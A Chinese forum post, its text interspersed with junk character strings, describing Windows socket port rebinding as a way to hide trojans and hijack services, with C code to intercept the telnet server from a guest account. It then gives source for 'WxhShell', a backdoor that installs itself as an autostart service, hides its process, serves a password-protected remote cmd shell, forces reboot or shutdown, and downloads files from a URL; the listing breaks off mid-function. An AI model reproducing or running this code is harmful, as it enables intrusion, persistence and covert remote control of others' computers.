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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f/Y7@y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :UH*Wft1 Z.Z31yF:f saddr.sin_family = AF_INET; 3!@&7@p .#Z'CZO| saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3I)oqS@q' m*HUT V
bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Fje
/;p T,a{mi.hNR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .t>SbGC !Sy9v 这意味着什么?意味着可以进行如下的攻击: "k (zy|>u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R+He6c!?9 >7X5/z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n} !')r y]obO|AH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +/%4E % QD^= ;! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 psx_gv, 0QquxYYw, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kO^ 2uY:p=DxG9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 knHrMD; s5{H15 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 veh=^K%G | Bs`='w%7 #include ,g?M[(wtc #include ;UX9Em #include j+/EG^*/ #include v[x 5@$ DWORD WINAPI ClientThread(LPVOID lpParam); "FGgem%9 int main() m |+zMf& { =yqg,w&Q WORD wVersionRequested; p>pAU$k{O DWORD ret; <>-gQ9 WSADATA wsaData; lu.xv6+ BOOL val; [tt_>O SOCKADDR_IN saddr; e*Nm[*@UW SOCKADDR_IN scaddr; [vY)y\W{ int err; ^H<VH SOCKET s; *x2u SOCKET sc; !
c~3 `7v int caddsize; 1_}k)(n HANDLE mt; x5U;i DWORD tid; +'` ^ N wVersionRequested = MAKEWORD( 2, 2 ); ^MT20pL err = WSAStartup( wVersionRequested, &wsaData ); B]7QOf" if ( err != 0 ) { MD> E0p) printf("error!WSAStartup failed!\n"); zCwb>v return -1; RhjU^,% } X)9|ZF2` saddr.sin_family = AF_INET; o+<hI F
'HYWH0? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uf[Gs/!NV CFY4PuI"! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a[lx&CHgI saddr.sin_port = htons(23);
_ @|_`5W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0b,{4DOD { tjm@+xs printf("error!socket failed!\n"); *(*XNd|| return -1; uk.x1*0x } *nUa0Zg4q6 val = TRUE; mA3yM# //SO_REUSEADDR选项就是可以实现端口重绑定的 #M[Cq= 2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qm?o^%a { jLul:*
L printf("error!setsockopt failed!\n"); G&0JK ,Y return -1; OPKmYzf@b }
@|~D?&<\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ve=1y) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MS%h`Ypo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?[O Sy.6 Z:MU5(Te if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YH!` uU(Lh { UDa\* ret=GetLastError(); v[?eL0Z printf("error!bind failed!\n"); oX1{~lDJl return -1; 0`e- ; } kI$X~s$r listen(s,2); \3z ^/F~ while(1) x "PMi[4 { K<Y-/t caddsize = sizeof(scaddr);
qZP>h4 //接受连接请求 K fNR)
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !O8vr4= if(sc!=INVALID_SOCKET) hLLg { <0)@Ikhx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W?auY_+P if(mt==NULL) T k>N4yq { E)l@uPA'1 printf("Thread Creat Failed!\n"); +xtR`Y" break; kv3jbSKCT } .:s**UiDR } s"]LQM1| CloseHandle(mt); rru `%~'O } .W%{j()op closesocket(s); D(<20b, WSACleanup(); 2myHn/%C return 0; E>?T<!r~j } dmD':1 DWORD WINAPI ClientThread(LPVOID lpParam) "ealYveu { f8
M=P.jz SOCKET ss = (SOCKET)lpParam; mYzq[p_|j SOCKET sc; cB7=4:U unsigned char buf[4096]; v
~%6!Tr SOCKADDR_IN saddr; "-TIao# long num; E8Wgm
8 DWORD val; < F Cr
L DWORD ret; # 1,(I //如果是隐藏端口应用的话,可以在此处加一些判断 u37@9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {N$G|bm]u< saddr.sin_family = AF_INET; 8f | saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;wz
YZ5=Di saddr.sin_port = htons(23); ~Hs a6F&F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jj'~\j { 3u8H F- printf("error!socket failed!\n"); HtIM8z#/ return -1;
p_QL{gn } I=pTfkTT val = 100; z6R<*$4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |S:St HZm { h^bbU. ret = GetLastError(); Ydu=Jg5u7 return -1; Qp${/ } sEL[d2oO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W$P)fPU' { e p;_' ret = GetLastError(); C;;dCsiV5 return -1; yHhBUpIo } |k+Y >I& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y4Plm. { 69,;= printf("error!socket connect failed!\n"); r!etj3 closesocket(sc); qMz0R\4 closesocket(ss); Wel-a<
e return -1; 1NT@}j~/ } (3"V5r`*; while(1) 'LR5s[$j { dGcG7*EX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B}YB%P_CWs //如果是嗅探内容的话,可以再此处进行内容分析和记录 t8 #&bUX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h4S,(*V$! num = recv(ss,buf,4096,0); SUfl`\O if(num>0) Yt7R[| send(sc,buf,num,0); }0|,*BkI
m else if(num==0) 4 ?,N;Q break; QVI4<Rxg num = recv(sc,buf,4096,0); QkwBw^'_5 if(num>0) ^6|Q$]}Ok send(ss,buf,num,0); e&E""ye else if(num==0) 'ac %]}`- break; y}5H<ZcXA } *K'(t closesocket(ss); x\GCsVy closesocket(sc); *)ZDN~z7o return 0 ; Id(L}i(X } jX!,xS%( kc\^xq~ KE`}P<K& ========================================================== kf>oZ*/ hkee,PiiP 下边附上一个代码,,WXhSHELL sME3s- {xp/1?Mo* ========================================================== _K3?0<=4 3@*J=LGhKc #include "stdafx.h" gN
Xg DDyeNuK #include <stdio.h> 3G
dWq* #include <string.h> f+j\,LJ #include <windows.h> _<|NVweFS #include <winsock2.h> 9"KEHf! #include <winsvc.h> +LCpE$H #include <urlmon.h> BYFvf(> /\V-1 7- #pragma comment (lib, "Ws2_32.lib") F$7>q'# #pragma comment (lib, "urlmon.lib") V<Q''%k D.9qxM"Z> #define MAX_USER 100 // 最大客户端连接数 E4GtJ`{X #define BUF_SOCK 200 // sock buffer w
xKlBx7 #define KEY_BUFF 255 // 输入 buffer Pk !RgoWF $014/IB #define REBOOT 0 // 重启 {b6| wQ\ #define SHUTDOWN 1 // 关机 )HQ':ZE$ FCnOvF65 #define DEF_PORT 5000 // 监听端口 xr}3vJ7 7)tkqfb] #define REG_LEN 16 // 注册表键长度 :sAb'6u1EU #define SVC_LEN 80 // NT服务名长度 6e0tA ()F 3DRJl,v // 从dll定义API ZxLd h8v. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ :To\6\Ri typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $5N %! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GdHFgxI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Is1P,`*! ^)oBa=jL4 // wxhshell配置信息 Cp4 U`] struct WSCFG { ix2V?\ int ws_port; // 监听端口 Wu3or"lcw* char ws_passstr[REG_LEN]; // 口令 g<pr(7jO int ws_autoins; // 安装标记, 1=yes 0=no yNCd}
4Ym5 char ws_regname[REG_LEN]; // 注册表键名 /9T.]H~ char ws_svcname[REG_LEN]; // 服务名 _)-t#Ve char ws_svcdisp[SVC_LEN]; // 服务显示名 fUj[E0yOF char ws_svcdesc[SVC_LEN]; // 服务描述信息 dt&m YSZ} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (7Su{tq int ws_downexe; // 下载执行标记, 1=yes 0=no P/i{_r char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" hOZ:r =% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O*0%AjT6 c\A
4-08 }; \PReQ|[ah {Tx"G9 // default Wxhshell configuration U;
-2)+ struct WSCFG wscfg={DEF_PORT, gQ90>P: "xuhuanlingzhe", >NLG"[\ 1, rlxZ,]ul "Wxhshell", w5fVug/;P "Wxhshell", #uTNf78X "WxhShell Service", _L?MYkD "Wrsky Windows CmdShell Service", (D2G.R\pr "Please Input Your Password: ", @^P<(%p
1, [$\KS_,Mn " http://www.wrsky.com/wxhshell.exe", \LuaI "Wxhshell.exe" kU:ge }; wwh1aV * M%&1j >d // 消息定义模块 0?V{u`* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hTfq>jIB_ char *msg_ws_prompt="\n\r? for help\n\r#>"; Q1kZ+b& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^mH:8_=(. char *msg_ws_ext="\n\rExit."; df\ ^uyD; char *msg_ws_end="\n\rQuit."; 5Z;iK(>IX char *msg_ws_boot="\n\rReboot..."; qa-%j + char *msg_ws_poff="\n\rShutdown..."; jVlXB6[- char *msg_ws_down="\n\rSave to "; <JUumrEo Z
FIy char *msg_ws_err="\n\rErr!"; J:Mn5hdK= char *msg_ws_ok="\n\rOK!"; ._%8H *.us IH2 char ExeFile[MAX_PATH]; ^%5;Sc1V int nUser = 0; tt4Z HANDLE handles[MAX_USER]; gQQve{' int OsIsNt; C6"{-{H hZIbN9)8A SERVICE_STATUS serviceStatus; 5J-slNNCQ SERVICE_STATUS_HANDLE hServiceStatusHandle; B_DyH
C\< mX2X.ww(4 // 函数声明 s4uZ > int Install(void); zK_Q^M` int Uninstall(void); r\A|fiL int DownloadFile(char *sURL, SOCKET wsh); Sq]VtQ( int Boot(int flag); A&N$=9.N1 void HideProc(void); t5CJG '!ql int GetOsVer(void); q#6|/R* int Wxhshell(SOCKET wsl); @Os0A void TalkWithClient(void *cs); g& ou[_A int CmdShell(SOCKET sock); /z
m+ int StartFromService(void); |F4)&xN\ int StartWxhshell(LPSTR lpCmdLine); &E]<KbVx s
.@S zq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /&Hl62Ak VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4`Cgz#v
{ 18^K!:Of // 数据结构和表定义 vh^,8pPy SERVICE_TABLE_ENTRY DispatchTable[] = fwi(qx1=} { k-\RdX)E {wscfg.ws_svcname, NTServiceMain}, mGqT_
{NULL, NULL} 421ol }; D.R 7#^. n6 a=(T // 自我安装 =`6_{<& int Install(void) y2,M9 { )F)
(Hg char svExeFile[MAX_PATH]; m339Y2%= HKEY key; `>cBR,)r strcpy(svExeFile,ExeFile); 4q\bnt l>O~^41[ // 如果是win9x系统,修改注册表设为自启动 r+%}XS%;h if(!OsIsNt) { X,8]g.< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :;]iUjiC8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cfd7)(6 RegCloseKey(key); /a!M6:,pX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &*N;yW""f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F"Y.'my8 RegCloseKey(key); Sq,x57- return 0; Cl5l+I\1 } &I$MV5)u } ("B[P/ } WD7IF+v else { qx~-(|s`H 9vZD?6D,n // 如果是NT以上系统,安装为系统服务 N8^AH8l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >ps=z$4j* if (schSCManager!=0) Qs5^kddz= { <r'l5|er SC_HANDLE schService = CreateService ^xwnX=Np ( usR:-1{ schSCManager, e1j3X\ \ wscfg.ws_svcname, u
6(O; wscfg.ws_svcdisp, yy%'9E ldc SERVICE_ALL_ACCESS, C.[abpc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Js^=G2 SERVICE_AUTO_START, 93*MY7j} SERVICE_ERROR_NORMAL, (/r l\I svExeFile, lU[" ZFP NULL, O+^l>+ZGj? NULL, Gd8FXk,.! NULL, =k\V~8XZ NULL, fGtUr_D NULL j:;[Y `2 ); :"9P {xe^ if (schService!=0) $R2iSu{kO { eiV[y^? CloseServiceHandle(schService); n@)Kf
A)& CloseServiceHandle(schSCManager); Pu=,L#+F N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qQu}4Ye> strcat(svExeFile,wscfg.ws_svcname); /uM;g9 m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *?a rEYc8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <B?@,S> RegCloseKey(key); 1@)kNg)*$ return 0; #MyR:V*a } qBKRm0<W } +EZ Lic CloseServiceHandle(schSCManager); PYYK R } :4f>S)m } s^@?+<4: IezOal return 1; 0GtL6M@pP } E*! 4'ym vR // 自我卸载 !y&uK&1 int Uninstall(void) BB?vc(d { sO,%Ok1 HKEY key; ETw7/S${ $?.0>0,< if(!OsIsNt) { "%o,P/<X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /A8ua=Kn RegDeleteValue(key,wscfg.ws_regname); b?p <y` RegCloseKey(key); "0Wi-52=V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H]6i1j RegDeleteValue(key,wscfg.ws_regname); PJq;OM| RegCloseKey(key); kK27hfsw return 0; ~6HpI0i } raWs6b4Q } \(ygdZ{R } =6XJr7Ay8u else { 4GA9oLl {`FkiB` i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gb=pQ( n4 if (schSCManager!=0) NUlp4i~Q { emhI1
*} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VH.mH< if (schService!=0) laRcEXj { S(B$[)( if(DeleteService(schService)!=0) { q c(R
/[ CloseServiceHandle(schService); $pKlF0 . CloseServiceHandle(schSCManager); m*Zq3j return 0; ',7LVT7 } DzfgPY_Py CloseServiceHandle(schService); 1JRM@ !x } #%4XZ3j#j; CloseServiceHandle(schSCManager); DjyqQyq~ } 5r&bk` } ?Uq;> s6q6)RD" return 1; k? <.yr1 } Y X`BX$ &d%\&fCm( // 从指定url下载文件 &kR*J<)V int DownloadFile(char *sURL, SOCKET wsh) 4YV0v,z { N)I9NM[ HRESULT hr; :w!A_~ w2 char seps[]= "/"; i;flK*HOZ9 char *token; -w dbH`2Z" char *file; e^LjB/<Th char myURL[MAX_PATH]; r}**^"mFy char myFILE[MAX_PATH]; Qe[ejj1o: &RJ*DAmL strcpy(myURL,sURL); Fb!Ew`;QT token=strtok(myURL,seps); x|b52<dLL& while(token!=NULL) Udi { o>6c?Xi& file=token; uPT2ga ] token=strtok(NULL,seps); t)4><22of } ){nOM$W ^xyU*A}D GetCurrentDirectory(MAX_PATH,myFILE); !*?|*\B^I strcat(myFILE, "\\"); ]c9\[Kdq}H strcat(myFILE, file); x>cl$41!W send(wsh,myFILE,strlen(myFILE),0); YE*%Y[" send(wsh,"...",3,0); r|_@S[hZg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -;:.+1 if(hr==S_OK) ,qT^e8E+ return 0; 5K:'VX else .E:3I!dH7 return 1; gW5yLb_Vz$ u |mTF>L } VLfc6:Yg t] CA!i` // 系统电源模块 [HEljEv int Boot(int flag) /E39Z* { y}F;~H~P HANDLE hToken; Ke;eI+P[ TOKEN_PRIVILEGES tkp; @!Z1*a. H|IG"JB if(OsIsNt) { b9xvLR8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l(y,lK=YP1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1KUM!DUD tkp.PrivilegeCount = 1; O#do\:(b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Op'&c0l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cBD#F$K2 if(flag==REBOOT) { q^DQ9B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hl#?#A5 return 0; &z]x\4#, } |@1M' else { k\TP3*fD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^OOoo2 return 0;
`-!kqJ } 3xz|d`A } -q]5@s/ else { WfXwI 'y if(flag==REBOOT) { q@^^jlHP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D$AvD7_ return 0; (!PsK:wc
} 1=h5Z3/fj else { ' GUCXx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BM{*5Lf return 0; y=aWSb2y' } gN2oUbf8 } *10qP?0H |[0Ijm2 return 1; ^`[<%. } kLF~^/ cMrO@=b; // win9x进程隐藏模块 }U(bMo@; void HideProc(void) }[=)sb_ { 8#lq: WA,D=)GP HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GC7 WRA if ( hKernel != NULL ) /hu>MZ(\ { ~v;+-*t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d4BzFGsW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B~ i FreeLibrary(hKernel); D-LOjMe } _~;%zFX \u{4=-C. return; qe#5;# } B7[d^Y60B OqIXFX" // 获取操作系统版本 G\BZ^SwE int GetOsVer(void) u%e~a] { {eI'0== OSVERSIONINFO winfo; /P@%{y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _3@5@1[s GetVersionEx(&winfo); PIa!NPy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m!Z<\2OP return 1; hBpa"0F else PBb&.< return 0; ;j/$%lC } U< Xdhgo? -)oUb=Lk{ // 客户端句柄模块 g?v(>#i int Wxhshell(SOCKET wsl) `8W HVC$ { KH;~VR8"/ SOCKET wsh; z``wqK struct sockaddr_in client; $\h-F8|JMX DWORD myID; XP?jsBE A\Ib while(nUser<MAX_USER) Xj/z), { `L`+`B int nSize=sizeof(client); ( ~5M{Xh wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kaekH*m~ if(wsh==INVALID_SOCKET) return 1; R\3a Sx L Mz6(M,hkq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R*D<M3 if(handles[nUser]==0) }l7+W4~ closesocket(wsh); rl%,9JD! else PmE)FthdP( nUser++; rvd$4l^ } h:362&?] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j
%gd:-tA YkWHI(p return 0; 4kM/`g6?,q } !B%em%Tv 2r!ltG3} // 关闭 socket Om0$6O void CloseIt(SOCKET wsh) zW%Em81Wd { H\ejW@<;h closesocket(wsh); mfQ#n!{ZH nUser--; vNGE]+QX ExitThread(0); edp
I? } VjM3M<!g>M hHE~/U // 客户端请求句柄 h.>SVQzU void TalkWithClient(void *cs) E:pk'G0bZ {
:9UgERjra ]WDmx$"&e SOCKET wsh=(SOCKET)cs; ^b+>r char pwd[SVC_LEN]; RtMI[ char cmd[KEY_BUFF]; v<!S_7h char chr[1]; kKSGC?d int i,j; xGwImF$r ;3cbXc@] while (nUser < MAX_USER) { #_ |B6!D! }R['Zoh4I if(wscfg.ws_passstr) { [v"Z2F<.= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `3rwqcxA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h$l/wn //ZeroMemory(pwd,KEY_BUFF); &ry*~"xoh i=0; |q77 while(i<SVC_LEN) { /e '3\,2_ =*,SD // 设置超时 `-L?x2)U fd_set FdRead; FbE/x$;~O struct timeval TimeOut; r<+C,h;aww FD_ZERO(&FdRead); o{s2T)2 FD_SET(wsh,&FdRead); 5.~Je6K U TimeOut.tv_sec=8; 1VX3pkUET TimeOut.tv_usec=0; 4qOzjEQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !!1?2ine if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l$;"yVdks ff#7}9_mh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?gE=hh pwd =chr[0]; K~
eak\= if(chr[0]==0xd || chr[0]==0xa) { OM\J4"YV$ pwd=0; 7=l~fKu break; i
9)
Gt } T+0=Ou"N i++; P>7Xbm,VP } Y
[`+7w *d1BpR% // 如果是非法用户,关闭 socket }T?X6LA$I8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gmL~n7m:K } KUI{Z I <|Td0|x
_q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r6DLShP-Ur send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mg2+H+C~: 66v,/#K while(1) { ZoG@"vr2 Ln&pe(c ZeroMemory(cmd,KEY_BUFF); jRK}H*uem C(N'=-;Kl // 自动支持客户端 telnet标准 7~h3B< j=0; n2U
&}O while(j<KEY_BUFF) { 37U8< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Id'56N]J! cmd[j]=chr[0]; ?JrUZXY if(chr[0]==0xa || chr[0]==0xd) { ? x%s
j cmd[j]=0; Y)rK'OY' break; 22l'kvo4" } z74JyY j++; PUdv1__C } xWLvx'8W CNB
weM // 下载文件 I,?NYIG"( if(strstr(cmd,"http://")) { %_!/4^smE send(wsh,msg_ws_down,strlen(msg_ws_down),0); W5|{A])N if(DownloadFile(cmd,wsh)) %BI8m|6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); P3oYk_oW else &[ })FI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D;,p?]mgO~ } `Skvqo(5: else { )PYPlSQ*V [OC(~b switch(cmd[0]) { 46?z*~*G V3,C5KKk&z // 帮助 m<gdyY case '?': { z|g2Q#$-\S send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E?w#$HS break; jFSR+mP! } lu#a.41 // 安装 1$*8F case 'i': { )vtbA=RH? if(Install()) i~!g9o( send(wsh,msg_ws_err,strlen(msg_ws_err),0); yFE0a"0y else N8sT? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [L%Ltmx break; uLdHE5vr } 5wK==hZ // 卸载 vl (``5{ case 'r': { 1g;2e##) if(Uninstall()) ]3,'U(!+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); d6i}xnmC else EjPR+m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ][
$UN break; S>lP?2J } *l7 `C) // 显示 wxhshell 所在路径 P]+B})) case 'p': { Xu{y5N char svExeFile[MAX_PATH]; X9*n[ev strcpy(svExeFile,"\n\r"); OTy!Q,0$. strcat(svExeFile,ExeFile); zw<<st Bp send(wsh,svExeFile,strlen(svExeFile),0); H I9/ break;
Dl!0Hl } .][yH[F // 重启 W{NWF[l8O? case 'b': { 7gX32r$%V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l$u52e!7 if(Boot(REBOOT)) '/GB8L send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQ}GTqk else { 5<Kt"5Z%7 closesocket(wsh); B)q }]Qn ExitThread(0); a^_K@ } ;MfqI/B{ break; |$
PA } < F5VJ // 关机 _a&gbSQv case 'd': { $1=7^v[U send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JuJW]E Q if(Boot(SHUTDOWN)) Uw4iWcC send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA
a:!p else { u>fs
yn9c closesocket(wsh); Sct ExitThread(0); WsTIdr36x } O_ #++G break; v&:[?<6- } 'DW|a // 获取shell g}~s"Sz case 's': { bK "I9T # CmdShell(wsh); DY`0 `T closesocket(wsh); SU%O \4Ty ExitThread(0); .{gDw break; m{>1#1;$t } Z|K HF" // 退出 |QS|\8g{0V case 'x': { 1c,#`\Iikd send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gwB,*.z CloseIt(wsh); _J C*4 break;
s(_z1 } ?g1eW q& // 离开 t__f=QB/ case 'q': { 8jCho send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9DBX.| closesocket(wsh); ij:xr% FJ WSACleanup(); B1X&O d exit(1); %)i&|AV" break; m03dL^( } aPJTH0u } t %u0=V } /[c_,G"" /J}G{Y
|n // 提示信息 $2FU<w$5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U*nB=
= } wQW`Er3w } #~Xj=M% ]Mq-67 return; )
`{jPK*` } /yU#UZ4; Z +/3rd // shell模块句柄 cRI2$| int CmdShell(SOCKET sock) 4+8)0;<H { a@g
<cl7a, STARTUPINFO si; e&ti(Q= ZeroMemory(&si,sizeof(si)); cvw17j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &NF$_*\E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z*HM_u PROCESS_INFORMATION ProcessInfo; )4fQ~) char cmdline[]="cmd"; ttr` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !ak760*A return 0; ;(mNjxA } *v#V%_ o RA a1^Qb // 自身启动模式 TT3 6Y int StartFromService(void) bV:<%l] { Jd `Qa+ typedef struct U:x;4 { NxJnU<g- DWORD ExitStatus; h_-4Q"fb( DWORD PebBaseAddress; b~ )@e9 DWORD AffinityMask; "}
:CM_ DWORD BasePriority; WBKf)A^S ULONG UniqueProcessId; S9DXd]6q_ ULONG InheritedFromUniqueProcessId; ;/NC[:'$D } PROCESS_BASIC_INFORMATION; a /]FlT I_#5gq PROCNTQSIP NtQueryInformationProcess; xd `MEOY 3'p1m`8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3LyNi$`f static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t=eI*M+>h G9&2s%lu.e HANDLE hProcess; I>rTqOK PROCESS_BASIC_INFORMATION pbi; ,g'>Ib% xi"ff. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |t"CH'KJZ if(NULL == hInst ) return 0; :tbI=NDb cK[=IE5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d&G]k!|\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }e|cszNRd NtQueryInformationProcess = 